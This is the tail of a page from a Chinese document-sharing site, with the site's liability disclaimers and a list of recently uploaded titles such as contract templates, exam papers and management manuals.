- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025版道路建設(shè)項(xiàng)目投資合作協(xié)議3篇
- 2025版智能鎖具五金配件銷售合同范本3篇
- 二零二五版水陸聯(lián)運(yùn)貨物運(yùn)輸賠償協(xié)議書3篇
- 二零二五年度家庭清潔與護(hù)理服務(wù)合同標(biāo)準(zhǔn)范本3篇
- 二零二五年度個(gè)人專利權(quán)質(zhì)押連帶擔(dān)保協(xié)議樣本4篇
- 二零二五年度海洋生物資源開發(fā)與保護(hù)合作協(xié)議4篇
- 安全專項(xiàng)整治工作匯報(bào)
- 二零二五年度全國銷售業(yè)務(wù)合同范本(電子版)
- 二零二五年度個(gè)人房屋建設(shè)合同附件清單合同模板
- 二零二五版水井施工安全教育與培訓(xùn)合同3篇
- 高速公路巡邏車司機(jī)勞動(dòng)合同
- 2025中國大唐集團(tuán)內(nèi)蒙古分公司招聘高頻重點(diǎn)提升(共500題)附帶答案詳解
- 充血性心力衰竭課件
- 挖掘機(jī)售后保養(yǎng)及維修服務(wù)協(xié)議(2024版)
- 職業(yè)分類表格
- 廣東省深圳高級中學(xué)2023-2024學(xué)年八年級下學(xué)期期中考試物理試卷
- 電網(wǎng)建設(shè)項(xiàng)目施工項(xiàng)目部環(huán)境保護(hù)和水土保持標(biāo)準(zhǔn)化管理手冊(變電工程分冊)
- 體檢科運(yùn)營可行性報(bào)告
- 設(shè)立項(xiàng)目管理公司組建方案
- 薪酬戰(zhàn)略與實(shí)踐
- 答案之書(解答之書)-電子版精選答案
評論
0/150
提交評論